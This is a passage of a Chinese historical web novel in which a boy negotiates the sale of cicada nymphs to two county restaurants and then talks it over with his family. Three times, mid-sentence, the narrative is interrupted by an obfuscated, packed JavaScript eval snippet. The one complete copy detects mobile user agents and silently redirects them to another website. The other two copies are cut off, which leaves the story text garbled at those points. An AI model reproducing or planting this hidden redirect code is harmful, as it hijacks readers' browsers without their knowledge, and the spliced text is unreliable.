刘掌柜没想到韦仁懂得还挺多,忙截住韦仁的话头:“不、不,我的意思是说,这每次收多少量,一时也拿不准,前几天要的少些,若卖得好,量自然会增加。” 韦仁“哦”了一声:“这个没问题。不过,你还是得说出个具体的数字呀,我们谁也没有刘掌柜了解五味园的客人。” “每天送一次货,先送三日,每次暂时定一斤。”刘掌柜摸摸肚子,“三日之后,咱们再根据情况定新的量,如何?” “可以,不过如果刘掌柜决定做这个买卖的话,第一个月的结了龟必须全部从我们这里收。”这年头消息传播的速度不算很快,但也不算很慢,他得防着五味园中途换供货商,或者趁机压价,“相对的,我可以提醒刘掌柜一件很重要的事。” 刘掌柜眼中闪过精光,沉吟片刻后,才缓缓点了下头:“可以,我信郎君的话。” 韦仁不着痕迹地看了一眼韦彭祖,想了想,没有说出让韦彭祖作保的话,毕竟是拐着弯儿的亲戚,如果因为一个月的结了龟就能看清刘掌柜,或者说是曾家的人品,他也不算亏。 “我也信刘掌柜。”应承了一句,韦仁续上前言,“一斤结了龟大概就是50多只不到60只的样子,我们每次送60只过来,其中五只算我们送的。” 刘掌柜大赞:“郎君大气。” “这个夸奖我不接,多出来的结了龟可不是白送的,而是我要提醒刘掌柜的事。”不等刘掌柜询问,韦仁已经解释道,“结了龟不仅美味,吃了对人也有好处,但太好的东西就更要仔细过犹不及。多出来的结了龟是给客人试吃的,让客人尝尝味道,也看看客人能不能吃得惯。” 刘掌柜略有诧异,不过正反五味园不吃亏,刘掌柜对这样的做法也是赞成的:“郎君想得周到,那如郎君看,一斤结了龟多少铜钱?” 可算是聊到重点了,韦仁身边的韦世然以及后面四个人都是精神一阵,齐齐看向韦仁。 韦仁用余光扫了一眼漫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刘掌柜的眉心禁不住跳了一下,原因无他,韦仁说重了他心目中准备给结了龟的定价。刘掌柜一瞬间十分怀疑,韦仁来之前是不是得了哪位长辈的指点,刚刚那副说辞只是假装,其实已经预设好了价钱。 刘掌柜生出些被人戳穿心思的羞恼,可韦仁那句“客人吃的不仅是饭食,还是一种身份”又满足了他的虚荣心,心中的恼意又被不着痕迹的抚平了。 韦仁观察着刘掌柜的神色,没有立刻说出心中的价码,而是先诉说起抓结了龟的不易:“现在是农忙的时候,晚上要钻进深山老林里挖结了龟,不说累,结了龟也没那么容易抓,刘掌柜不信可以派人亲自去抓,看一晚上能不能抓到50只。” 韦仁摆事实,讲道理:“何况,我们还要点灯熬油地连夜清洗腌制,第二日更是要走许多路送进城。对了,自大一点地说,刘掌柜虽然能尝出我们腌制用的调料,但调料的配比以及腌制的手法,想必五味园的大厨也是要试一试才能真正参透。” “刘掌柜,你买的不止是结了龟,还有我们的经验和时间呐。”韦仁眼巴巴地看向刘掌柜,“五味园赚钱的时间肯定比我们试做结了龟的时间值钱,我们也没想靠结了龟赚什么大钱,可是一斤16枚五铢钱,我们连辛苦钱都赚不回来。” 刘掌柜被韦仁这一通半软不硬的话给挤兑得有些讪讪,撑着脸皮,语调平稳地问道:“郎君觉得多少合适呢?” 韦仁竖起两根手指头:“看在彭祖从兄的面子以及刘掌柜愿意与我们谈这笔买卖的份上,我也不与刘掌柜说虚词,翻上一倍再凑个整数,一斤40枚五铢钱,如何?” 刘掌柜的头立马摇得跟拨浪鼓一样:“40铜钱太多了!太多了!”刘掌柜也开始讲道理,“这个结了龟能不能卖出去,现在也不好说,而且,食材送来,我们还要煎炸,脂膏可不便宜!县城内和聚里也不一样,柴禾也是要钱的。” “那刘掌柜你再开个价?” 刘掌柜一咬牙,摆出一副他吃了大亏的模样,说道:“不如这样,咱们折个中,一斤25铜钱?” 韦仁也学着刘掌柜的样子猛摇头,不止摇头,他还摆手:“不行,太少了!我自己不赚钱也就算了,总不能让我朋友那么辛苦还倒赔钱吧?” 之后的一刻钟里,包房内就充斥着韦仁和刘掌柜讨价还价的声音,最终,双方各退一步,定下一斤结了龟35铜钱的价格,同时,若五味园每个月收购的结了龟超过50斤的话,那超过50斤的部分就要按照每斤32铜钱的价格卖给五味园。 定好送货的时间,刘掌柜和韦仁签下券书,刘掌柜又付了明日的结了龟的钱作为定金,这场买卖才算是谈完。 此时,时间也才过去半个时辰,刘掌柜留韦仁一行人在五味园吃饭,被韦仁拒绝了:“多谢刘掌柜,不过不用了,阿母只许我们每旬在外面吃一顿饭。” 刘掌柜看着手拉着手的韦仁和韦世然,不禁哂笑:还真是个小娃娃。 韦仁和韦世然又问过韦彭祖,听他还有其他事要做,与他行礼致谢后,便双双坐上牛车离开了五味园。 刘掌柜和韦彭祖站在五味园门口,见牛车向城西行去,还以为韦家两个兄弟是回家了,却是不知,一行人的目的地其实是距离五味园不足一里的千客居。 46.结了龟四 一行人离开五味园后,每个人的想法都不太一样,显露出来的神色有茫然、有吃惊、有疑惑、有欣喜,这些都挺正常,韦仁只看向自家大兄。 韦仁手肘支在车板上,斜侧着身子看着韦世然:“大兄,怎么突然不高兴了?” 韦世然鼓了鼓腮帮子:“我刚刚就不高兴了,五郎,你很高兴吗?” 韦仁实在想不出来这趟五味园之行有哪里值得韦世然生气的:“买卖谈成了,为什么不高兴?” 韦世然嘟了嘟嘴:“我觉得刘掌柜不大厚道。” 韦仁一个没忍住,“噗嗤”一声就笑出了声,惹得韦世然瞪他一眼,韦仁才收住笑声,解释道:“他是买卖人呀!” 韦世然当然明白买东西是要讨价还价的,但刘掌柜最初给出的价钱和最后成交的价钱相差一倍,这一点韦世然有些接受不能,而且…… 韦世然看韦仁一眼,想说话,但再看看跟在他们身边的沈决明等人,韦世然又把话咽了回去:“反正,我觉得他比罗大兄差远了。” “这有什么可比的?”韦仁笑着对韦世然眨眨眼睛,“咱们又没吃亏。” 韦世然一想也是,就又开心起来,问道:“五郎,你怎么还要去千客居,五味园不是已经答应买结了龟了吗?” “刘掌柜不肯买我的方子,写都写了,总不能白写吧?” 说起来韦仁也挺惊讶的,不是惊讶刘掌柜不肯买方子,而是惊讶刘掌柜与他签券书时竟然没问他是不是只做五味园一家的生意。如果刘掌柜问,韦仁不会讳言,但刘掌柜没问,韦仁也不会主动去说就是了。 兄弟二人也没说几句话,石岩就将牛车赶到了千客居门口,韦世然自己跳下牛车,韦仁则是被沈决明抱下车的。 石岩看到候在门侧的石大郎时,着实吃了一惊,他一点儿都不知道自己阿翁被韦仁指使到这里来了。 石大郎这时候已经走到牛车跟前,站定后便向韦世然和韦仁揖礼道:“四郎君五郎君,千客居的掌柜就在里面,他愿意谈一谈结了龟的买卖。” 千客居也是食肆,不过规模比五味园小得多,但这里的炸物很有名,而且千客居不知是走了哪里的门路,他们家是驺县唯一一家贩售号称“天下第一美酒”——桂酒的商肆,所以韦仁就把千客居也列为了目标客户。 千客居的掌柜姓封,体型是不同于刘掌柜的消瘦,性情与刘掌柜也不大相似—— 通过石大郎的介绍,封掌柜知道韦仁就是要来与他谈结了龟买卖的郎君后,视线很直白地在韦仁身上打量了一圈儿,就直接开口说道:“我知道结了龟那东西,就是不知道那个还能吃,小郎君有没有带来,我总得先尝过才好说其他。” 别说客套寒暄,封掌柜甚至没领众人去什么私密的房间,只将人带到角落的一处食案,连招待的水都只是普通的白水,嗯,是不是烧开的水都不一定。虽然买卖还没开谈,封掌柜就哐哐地干掉两碗,韦仁仍是没敢喝,也没让韦世然喝。 石大郎已经领教过封掌柜的脾气,其他人却是没有,连韦仁这个之前没怎么出过门,出门之后见到的人大多也都客客气气的人都先怔了一下。 封掌柜既然是这样的风格,韦仁便也没废话,指着谷元怀里的坛子,问道:“那里面是腌制好的结了龟,需要煎制,是让椿婶子去做,还是贵店的大厨自己来?” 封掌柜让椿婶子去做,不过,椿婶子这次去的不是大厨房,而是一个小灶间。 料理结了龟和品尝结了龟的过程与在五味园时相差无几,不过封掌柜对韦仁他们腌制的配料不太满意:“我能收些试试,不过我不要腌制好的,只要清洗干净的新鲜结了龟就行。” “这个没问题。”然后,韦仁继续推销自己的食谱方子,“千客居腌制结了龟的手艺必定比我们要强,不过,结了龟毕竟是新食材,客人们接受起来肯定不比吃惯了的那些炸物,我的方子里有一些贩售这些结了龟的法子,不知道封掌柜有没有兴趣?” 封掌柜没有直接拒绝,而是突然问道:“我这里不是你走的第一家吧?” “不是,是第二家。”没用封掌柜问,韦仁直接说了,“我先去的五味园。” 封掌柜扬了扬那两条又黑又长的眉毛:“哦?他们家买没买你的方子?” “如果他们买了,我就不会与封掌柜说了。” “那你说来与我听听,若是得用,我直接与你签一个月的券书,数量嘛……每日不少于一斤,如何?” “不如何。”韦仁不为所动,“我本来就相信结了龟会卖得很好,不要说每日一斤,或许封掌柜要得太多,我们抓不了那么多也不一定。” “小郎君口气不小。” 韦仁摇头:“不是口气大小,是新奇又好吃的东西本来就难得,而且,我相信封掌柜的眼光,你吃了我们配料不算好的结了龟就说可以收购,我还担心什么呢?” 封掌柜捋捋下巴上的胡须:“小郎君有意思,这样,你出个价,我先买你的方子,若是物有所值,咱们再谈收结了龟的事。” 韦仁点头:“可以,50铜钱。” 封掌柜直接让伙计取了50铜钱教给韦仁,韦仁随即从袖筒里取出几片竹简递给封掌柜,“底下标了数字,是阅读的顺序。” 封掌柜接过这几片用50铜钱换到的竹简,好奇地逐字读了下去,封掌柜很快读完,抬起头看向韦仁,眉毛紧紧蹙着:“第一个法子倒是有些意思,可这第二个,小郎君,我们做买卖最是讲究诚信,不是什么话都能随便说的。” 在场大多数人都不知道韦仁到底在竹简上写了什么,不由都看向韦仁。 韦仁听到封掌柜的质疑,对他的印象倒是好了些,韦仁细细端量封掌柜的脸色后,对封掌柜招了招手,封掌柜不明所以,但面对一个粉雕玉琢的娃娃,封掌柜也没太抗拒,探身将耳朵凑了过去。 韦仁也略略探身,双手圈住嘴巴,凑到封掌柜耳边刚要说话,就发现韦世然也把耳朵凑了过来。韦仁瞄自家大兄一眼,又瞄封掌柜一眼,见封掌柜没反应,韦仁便也没阻止韦世然“偷听”。 韦仁声音低低的,带着某种奇异的似是能探知人心的飘渺:“封掌柜,你是不是常常失眠,即使睡着也容易做噩梦?” 余光看到封掌柜骤然睁大的眼睛,韦仁继续说:“恕我冒昧,封掌柜看起来是豪爽之人,但周围的人是不是会误会你暴躁易怒?我猜,封掌柜应是不太喜欢这种评价,心里不免堵得慌,有时就会有种想吐也吐不出来的感觉。哦,对了,你的指尖和手臂之类的地方有时还会像是被压了好久,感觉麻麻的,对吧?” 韦仁每说一句话,封掌柜脸上的震惊之色就增加一分,当韦仁说到最后,封掌柜已经忍不住从坐席上站了起来。 封掌柜居高临下地看着肩膀舒展、背脊笔挺,坐姿端正得完全不同于一般孩童的韦仁,脱口问道:“你、郎君会卜术?” 韦仁:……韦仁差点儿没一个跟头来个原地前滚翻,狗屁的卜术,他说的明明是医术好不好! 韦仁笑不露齿:“封掌柜说笑了,我家里有大夫,上面写的那些结了龟的好处,我都保证是真的。结了龟既是食物,也是一味药材,吃了有益身体,但也不能吃太多,所以我才特别备注,客人买之前必须先尝过,且每日不可吃多于15个。” 封掌柜一听是“医术”,兴趣瞬间大减,摆摆手:“我说话直接,小郎君别见怪,什么医啊药啊的,没用!” 韦仁没与封掌柜争辩,只问:“那封掌柜还收结了龟吗?” 封掌柜重新坐回垫子上,干脆道:“收!我是卖吃食的,又不是卖药的,只要好吃就行。” 封掌柜捋捋胡须:“方子我亏了点儿,权当交你这位小友。那结了龟,我先收三天,每天100只,拢共算你120铜钱,你觉得成,咱们这买卖就定了。” 韦仁没直接答应,而是转头看向谷元:“谷元,你每天抓得了那么多结了龟吗?” 从踏入五味园那一刻开始,谷元一直都有些懵懵的,他隐约猜到韦仁谈这两桩买卖与他有关,此时被问到,谷元心下落定,勉强压抑住兴奋的心情,谷元又强迫自己想了想之前抓结了龟的情况,才慎重地说:“可以的,就算我自己抓不了,也能找人帮忙。” 得到肯定的答复,韦仁才应承下封掌柜的条件:“封掌柜的价格还算公道,我也就不讨价还价了,不过我也有个条件。” “你说。” “若三日之后封掌柜还要继续做结了龟的买卖,明年的我不管,但今年的结了龟必须都从我们这里收购。” “你们只要能保证送来的结了龟新鲜干净,我自然不会再找其他人。” “好,咱们一言为定。” 说着一言为定,韦仁仍是把这一条写进了券书里,惹得封掌柜签字时还瞪了韦仁一眼:“人小心也小!” 封掌柜的脸型和身形一样,又细又长,凶起来时就给人一种又躁又阴的感觉,只论外貌,着实比刘掌柜差远了。 韦仁拿好自己的那份券书,对封掌柜笑出八颗小白牙:“以后我与封掌柜多来往,兴许心能变大一点儿。”一句话又把封掌柜给逗乐了。 谈完买卖,众人准备离开千客居时竟还遇到了卫二郎,韦仁这一行人中只有韦世然与之熟识,便上前打了招呼:“卫二兄,你来吃饭呀?卫询呢?” “今天没带他。”卫二郎在韦世然的脑袋上重重揉了一把,差点儿把韦世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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之前明明已经被韦仁给说转了心情,如今面对父母和大姊,韦世然的情绪又被勾了起来,越说越生气,生气之外还有委屈,韦世然那双大眼睛直直看向韦玄成:“阿翁,彭祖从兄明明是我们的兄长,他为什么偏帮着刘掌柜一个外人呢?” 韦玄成一时被问得哑口,侧头看向妻子,赵氏略略蹙起眉头,也不知道该如何向韦世然解释其中的人情世故。 一个枇杷忽然砸到韦世然胸口,疼倒是不疼,就是吓了他一跳:“大姊?” “瞧你那点儿出息,这有什么值得你生气委屈的?”韦元茹不如父母想得那般多,也没什么顾虑,特别直白地与弟弟剖析道,“彭祖从兄对曾家比对咱家亲近,自然不会帮你。就是不论亲戚间的远近亲疏,你和五郎与他又没什么交情,他就是单纯偏向一个和他有交情的外人也没什么奇怪的。” 韦世然就是拧不过那个弯儿:“可是我们才是一家人。” 一家人互坑的又不是没有,韦元茹在心底默默想着,可看着弟弟那张仍是稚嫩的小脸儿,她也说不出更重的话。 正堂内的气氛一时竟然有些沉闷,韦仁看看父母和兄姊,探身戳戳韦世然的脸颊:“大兄,我觉得你想的不对。” 韦世然愣了愣:“哪里不对?” “彭祖从兄虽没帮着咱们与刘掌柜讲价,但也帮咱们约到了刘掌柜,已经尽力了。”韦仁转了转眼珠子,“而且,你怎么确定,彭祖从兄就知道一斤结了龟到底值多少钱呢?” 韦世然怔住,过了一会儿,韦世然的右手握拳砸了一下左手掌心:“对哦,彭祖从兄可能什么都不懂。”韦世然有些歉疚地说,“我错怪彭祖从兄了。” 韦仁点头:“大兄,你不能认为其他人都像阿翁阿母和大姊那么聪明,什么都懂,这天下,傻子一定比聪明人多的。” 韦世然点头:“我不该理所当然地认为彭祖从兄知道的,哎,我以前是不是也犯过这样的错呀?” 韦仁:“偶尔吧,你总认为别人什么都懂、什么都能做好,哎,有时候就是不能对人期待太高。” 韦世然拉着弟弟的手:“若是我再犯这样的错,五郎,你记得提醒我。” 韦仁晃了晃手臂,带动着韦世然的手臂也跟着晃了晃:“我们互相提醒。” 韦玄成赵氏韦元茹:……你们高兴就好。 韦世然想通了,心情也好起来,伸手把韦仁和他坐席之间的酒坛子指给韦玄成看:“五郎说其他的钱都要分给做事的人,只得了50铜钱,算是大姊和我们一起的,都给阿翁你换成桂酒啦!” 韦仁跟着补充:“所以,我们没钱交公,非要交的话,阿翁你替我们交。” 韦玄成又是熨帖又是好气,笑骂:“账算得不错,再算就从你下个月的月钱里扣!” 韦仁竖起手掌往下一甩,做作地说:“哎呀,我与阿翁说笑呐!” 众人大笑。 笑过一阵,韦玄成才问韦仁:“五郎,你怎么看出封掌柜失眠的?” 47.结了龟五 说起这个,韦世然也一直好奇着,之前被韦彭祖的态度困扰着光顾着难过了,如今听到韦玄成的问题,韦世然也跟着问:“对呀,五郎,你怎么知道的?” “看出来的。”韦仁伸出食指在自己的眼睛下方划了划,“大兄,你没注意到封掌柜的眼袋特别大,还有些发青吗?” 韦世然扬着脑袋,回忆了一下:“哦,对。” 韦仁继续说:“那伙计给他倒水时都没敢说一句话,一看就知道封掌柜不是好脾气的人,他和咱们说那一会儿的话就喝了三碗水,除了嗓子干还能是因为什么?”韦仁指指自己的喉咙,“嗓子一干不是痒痒就是想咳嗽,他说话的声音也有些混混的,我感觉那里有痰,他又没咳出来,可不就堵得慌。” 韦玄成端着杯子,侧头与赵氏笑说:“谁说稚子无知,要我说,孩子才真是眼明心亮呢。” 赵氏轻轻颔首,看着手里的两份券书,赵氏也很为自家孩子小小年纪就能办成这样的事而骄傲。 父母已经开始进入“夸夸模式”,韦世然却还有未解之谜,翻转着自己的手,问道:“那手麻呢?” “猜的,忘了是听谁说的,一晚上没睡好,第二天手感觉麻麻的。” 韦世然呆了一下,随即有些失望地说:“我还以为你会给人看病了。” “大兄,你等我把家里的医书都记下来,到时候你哪里不舒服我就给你看。” 韦世然有些不放心:“你行吗?” 韦仁拍拍胸脯:“男人必须行的!” 韦玄成一口水喷出来,赵氏一边给他擦拭前襟,一边嗔怪地瞪了韦玄成一眼,扭头与韦仁说道:“你这是打算把这个买卖交给椿婶子和谷元做?” 说到正事,韦仁也想征求一下父母的意见:“我是这样想的,谷元负责抓,椿婶子负责清洗和腌制,韦庄负责提供调料和厨具之类的东西,除此以外,韦庄还要负责检查成品、送货和记账。”见到赵氏点了头,韦仁才问,“阿母,韦庄里有谁能做这事吗?” “交给牛伯就行,至于他要用谁都随他,你只要等着他给你报账就可。” “若五味园和千客居觉得结了龟的买卖可做,今年还能做两个月,得的钱,我想按照……以35铜钱来说,韦庄得15,谷元和椿婶子各得10。这样来分,可以吗?” 赵氏摇了摇头:“这样不合适,你想让谷元和椿婶子多得些钱没问题,但不能这样给。那‘20’里面,你暂且只给他们各自‘7’,等结了龟的买卖彻底做完,你若还想给,就把剩下的‘3’当作奖赏给他们。” 韦仁一时没想明白将“工资”拆成“工资”和“奖金”的必要性,韦世然也没太听懂,二人脸上便都流露出类似的迷茫。 赵氏不禁轻笑:“二娘,你与他们说说。” 韦元茹便给两个弟弟解释了一番,还举了几个例子,总而言之就是主家能分出四成的利润给予帮工已经极其宽厚,而韦仁刚刚那种分配比例表面上说就是不合时宜,往内里说就是会打破某些约定成俗的规则。而这样做的结果,大概率是除了真正多拿到钱的极少几个人外,其他人都会不满意。 韦仁恍然:“我明白了,我按照阿母说的做。” 说完结了龟的事,韦仁和韦世然也向家里人说了卫二郎的话,赵氏和韦元茹均是有些疑惑,只有韦玄成摇了摇头:“卫二郎说的多半还是之前谣言的事,咱们这里终归离得远,北边一直没消停。” 韦玄成不说,韦仁早把某些人可能要造反的事给忘了,没想到这事竟然还没完全平息,韦仁都有些纳闷,朝廷都不管的吗? 不过没有更多信息,而且他们的生活也没受什么影响,比起最开始听到这些消息时的忧虑惊慌,一家人这次只随意说了几句后便作罢。 中午,韦仁拉着兄姊一起招待椿婶子和谷元用了午食。 饭后,韦仁将自己的计划与二人和盘托出,最后才后知后觉地解释了一句:“我也是突发奇想,事前也没问过你们。” 因为知道椿婶子卖结了龟以及谷元卖药材的事,韦仁料想二人不会反对加入自己的计划,不过认真说起来,他这事办得确实霸道。 韦仁也有些不好意思:“虽然问得晚了点儿,你们愿意做这事吗?”说完,韦仁又补了一句,“就算有困难,特别是谷元,至少把试吃的这三天做完,行吗?” 韦元茹听得那叫一个无语,你都这样说了,人家能不同意? 不过,腹诽归腹诽,韦元茹还得帮着自家弟弟把话圆回来:“五郎年纪小,做事就没什么章法,他也是好心,就是想顺手让大家都多些进项。我知道你们平日种地也挺累的,现在又是农忙的时候,不一定乐意再额外揽活计,若是有困难,尽管说,咱们一起想办法。” 椿婶子和谷元今天跟着韦仁走了五味园和千客居,都已经猜到韦仁的目的,如今听到韦仁每卖给五味园60只结了龟就各自给他们7铜钱,每卖给千客居100只结了龟就给他们8铜钱,若做得好,后面还有“红包”拿,哪怕一时还没算清楚两个月后到底能赚到多少钱,椿婶子和谷元也乐意得不行! 至于韦元茹说的累不累的话,抓虫子/料理虫子又累不死人! 椿婶子和谷元都目光热切地看着韦仁,一边起身与韦仁行礼,一边说着感谢的话。 韦仁放心了,笑着鼓励道:“那这两个月就辛苦你们了。” 这边三个人都是笑呵呵,韦元茹却突然开口说道:“椿婶子、谷大郎,我身为五郎的长姊,有些话他想不到,哪怕想到了,因为心肠软,也可能说不出来,我便替他说一说。” 椿婶子和谷元都看向韦元茹,脸上的神色已经不自觉从面对韦仁时的感激和亲近变成了恭敬和谦卑。 韦元茹的语气却与刚刚替韦仁帮腔时没什么变化,仍是轻松和缓的:“我不说什么做买卖要诚信为本的话,不过你们既然接了这个活计,务必尽心尽力。若在吃食上出了纰漏,往小了说,是我们韦家失信于人,往大了说……那后果真就可大可小了。” 听到韦元茹的话,椿婶子和谷元都从即将获得大把大把五铢钱的喜悦中清醒过来,二人肃正了颜色,椿婶子保证道:“女公子放心,五郎君给我们这样好的一份活计,我们一定会好好做!” 谷元也跟着说:“我、我一定抓又大又好的!” 韦仁笑笑,偷空对韦元茹眨了下眼睛:谢谢大姊! 韦元茹矜持颔首:好好学着! 一事不烦二主,韦仁把将椿婶子和谷元回新聚以及和牛伯交代事情的任务交给了石大郎。韦仁特别叮嘱了石大郎一些话:“若是试吃过后,五味园和千客居反悔,这事便作罢,反之……”犹豫了一下,韦仁终究还是不太放心,“到时候你去朝元馆找我,我亲自去谈,这三日,你也替我多盯着些。” 石大郎记下韦仁的话,想了想,终是有些好奇:“五郎君,我能问问,为什么椿婶子没卖出去那些结了龟吗?”石大郎虽没跟着韦仁去五味园,但他在千客居是看了全过程的,感觉韦仁很容易就和封掌柜谈成了买卖,椿婶子咋就没做成呢? “我也挺好奇的。”结了龟的事韦仁办得比较匆忙,他一忙就把这事给忘了。 石大郎十分怀疑韦仁在糊弄他,糊弄他也就算了,竟然连个像样的理由都没给他。 韦仁挠了挠脸颊:“别这么看着我,我是真不知道,我没怎么逛过市集,不清楚那边的情况,按理说,就算第一天没人买,多去几天,总会有人好奇尝上一两个,卖出去应该不成问题。” 韦仁对石大郎还是很有好感的,便多说了些:“石大叔,你知道我为什么去五味园和千客居,而不是随便去哪个卖饼卖汤的小摊子吗?” “为何?” 韦仁搓搓手指:“因为只有五味园和千客居可能出大价钱收购结了龟这种新鲜吃食,结了龟也只有在五味园和千客居这种食肆才能卖出高价。而且,我推荐的是煎炸结了龟,本就是冲着不差钱的人去的。” 大部分百姓家里可能一年都吃不了一次油炸的食物,哪怕是油煎,也是种很奢侈的料理方式,不仅如此,腌制结了龟所用的调料中,除了葱还便宜些,另外几样也都是人们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13445048|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中的金贵物。 石大郎想了一下,问道:“那卖水煮的呢?谷元家里就是煮着吃的。” “可以试试,不过只说这次的事,卖结了龟的盈利太低的话,钱根本不够三家分。”韦仁说到这里,也若有所觉地想到了一个解释,“椿婶子和谷元都不算死板,估计他们自家真是做不起来这个买卖,我猜椿婶子试了一日就放弃,可能也是承担不起连续几日不赚钱还要倒找市租的花费。” 石大郎恍然地点点头:“确实,多谢五郎君为我解惑。”与韦仁说了这些话,石大郎又想到一个问题,“五郎君,县城内数得上号的食肆还有两三家,要不要也去谈一谈?” “可以啊,但第一个月的单价不能比五味园和千客居低,谁能谈下来,就拿出当月盈利的一成作为奖励。” 石大郎忽然就有些紧张,下意识地咽了口口水,石大郎虽是有些犹豫,不过还是向韦仁开口了:“五郎君,能不能让我弟弟去试试?” “你是说石二叔吗?” “是。”石大郎用余光偷偷瞄了一眼韦仁,见他没有生气,才继续说,“不用给他钱,就是,他现在也闲着,二郎他没什么大本事,但很听话,五郎君平时若有什么事,让他跑跑腿儿也是便宜的。” 韦仁对石二郎不太了解,对他唯一的印象就是:在家里很受宠,以及,不太靠谱。 韦仁沉默了好一会儿,这期间,石大郎一直安静等着,眼神都没有乱飘一下。 韦仁摸摸下巴,他还是更喜欢指使石大郎这样的人做事,不过,既然石大郎开口了,韦仁也愿意给他这个面子:“石二叔愿意去试试也无妨。我只有一个要求,可以办不成事,但不能把事办砸了。” 石大郎心下悬着的那块石头安稳落地,暗暗松开握紧的手指,石大郎对韦仁深揖一礼:“是,我回去后定会好好嘱咐二郎,让他踏实做事。” 虽然不知道石大郎为何要把石二郎推到他跟前,但石大郎现在有求于自己,他对于结了龟的事必定上心,韦仁便也放了些心。 正好,韦仁对于《仓颉篇》的学习也进入了尾声,除了要准备戚先生针对《仓颉篇》为他出的试题外,韦仁也想将学习《仓颉篇》时记录的笔记整理一下。 目送石大郎拉着椿婶子和谷元离开韦家后,韦仁就把沈决明叫到了房间内。 二人如以往那般分坐在书案两侧,韦仁摊开一卷《仓颉篇》的笔记,说道:“我要把这些笔记整理成《仓颉篇》的纂训版本,内容变化不多,但格式要重新整理。” 纂训就是注释的意思,《仓颉篇》的笔记整理出来后会是类似字典的工具书,但没有索引功能,而且,出自韦仁之手的“字典”,那必定是最最初级的少儿版本。 虽然这些笔记都是沈决明一笔一划写出来的,但听到韦仁如此说,沈决明仍是忍不住瞪大了眼睛:这可不是什么“计划书”,韦仁这是真打算写书啊! 韦仁自己倒没想过把这个当书来写,不过他曾经也是卖过笔记的人,学完一本书后整理笔记已经是种习惯。所以,看到沈决明脸上显现出的惊讶,韦仁理所当然地以为那代表的是对工作量的恐惧。 韦仁宽慰道:“你再坚持三年,等我十岁了,应该就能写小字了。” 三年什么的……沈决明嘴角抽了抽,不过他也没有解释,而是问起了具体的事项:要写成什么样的格式? 韦仁圈出一片竹简的区域,一边比划一边说:“每个字后依次备注字的反语、字形、起源、训诂以及训诂的出处和由来。” 韦仁看见沈决明已经将自己的要求记在一片竹简上作备忘,瞪着那些字,韦仁突然说:“单列出一篇讲一下笔顺的规则,再另外加一个‘部首’。” 沈决明先再竹简上补充好要求,架好毛笔后才划字问道:‘部首’是什么? 韦仁和沈决明对视片刻,倏地瘪了嘴,原本平展的肩膀也垮了下来,语气更是要多挫败就有多挫败:“‘纂训’果然不是什么人都能做的,我就解释不出来什么是‘部首’。” 沈决明:……我是不是说错话了? 48.结了龟六 沈决明还在绞尽脑汁想该说些什么把话往回搂一搂,韦仁却已经自我开解完毕,韦仁一握拳头,给自己打气:“一口吃不成个胖子,先做些拾人牙慧的事情也不赖!” 韦仁有时候随口说出来的话,沈决明也只能听懂一半,不过看到韦仁重新坐正,他便也收束了心思。 韦仁却又问了一句题外话:“沈决明,你最近是不是挺忙的呀?” 沈决明愣了一下,点了下头,又摇了摇头,划字道:第一次的考试内容已经确定,最近训练三禾等人的时间延长至两个半时辰,不过,我还做得来。 不算教导韦仁习武以及做些笔墨相关的事,沈决明还要帮着阿桂和毋忧维护君子院以保证韦仁的日常生活可以顺畅进行。除此以外,因为韦仁对竹简的需求量日渐增加,沈决明时不时也得帮忙清理竹简或者编织麻绳,说是一天不得闲一点儿也不夸张。 韦仁对此也是知道的,不过既然沈决明还可以负担,他也就只简单叮嘱一句:“什么时候觉得吃不消了就来与我说,别硬撑。”说完,韦仁便继续说给《仓颉篇》做纂训的事,“编撰之前,咱们要先整理一下原有的笔记。” 韦仁细细解释道:“检查每个字缺少哪些我提到的那些要素,然后按照缺少的要素数量分类。比如‘并’字,笔记里就没写它的起源和字形,这就算是缺少两种。我这样说,你能听明白吗?” 沈决明点头。 “很好,咱们一人一半,给你五天时间,能分出来吗?” 沈决明这次先想了想才点头,划字道:我去准备四个竹筐。 韦仁竖起大拇指,夸奖道:“越来越周到了。” 韦仁这边都开始整理《仓颉篇》的笔记,并准备同步开始下一本书——《孝经》的学习,结果,次日上学后,他就从戚先生那里得到一个“噩耗”。 戚先生从《仓颉篇》中随机捡了30个字向韦仁提问,韦仁的回答不能说是完美无缺吧,也是将戚先生课上课下讲到的内容都记住了。 而韦仁的同桌,熊大宝同学此时连《仓颉篇》的四分之一还没学完,面对这样惨烈的对比,不止熊大宝捂着胸口伤心得不能自已,戚先生也觉得韦仁这个进度有些太快了。 韦仁既然学得快,戚先生便想着,与其让他这么早接触经书,不如把该学的字都学完,以后研读经典也便宜。 戚先生便与韦仁说了:“为吏尚需讽籀书九千字,以此为标准,你要学习的字还有许多,倒也不用急着学经书,咱们还是先以识字为主。而且,既然你识字如此快,不如同时再学习一种字体。” 韦仁有些懵:“什么字体?” 戚先生为韦仁细数:“如今有八体,大篆、小篆、刻符、虫书、摹即、署书、殳书以及隶书,这些字体各有讲究和用途,你以后或多或少都会接触到的。” 韦仁:……什么情况?哪儿来的这么多“体”?那位始皇帝不是统一文字了吗? 看着韦仁眼底快溢出来的疑惑和茫然,戚先生笑了笑:“为师学识浅薄,除了隶书,只通小篆,我便先教你书写小篆吧。” 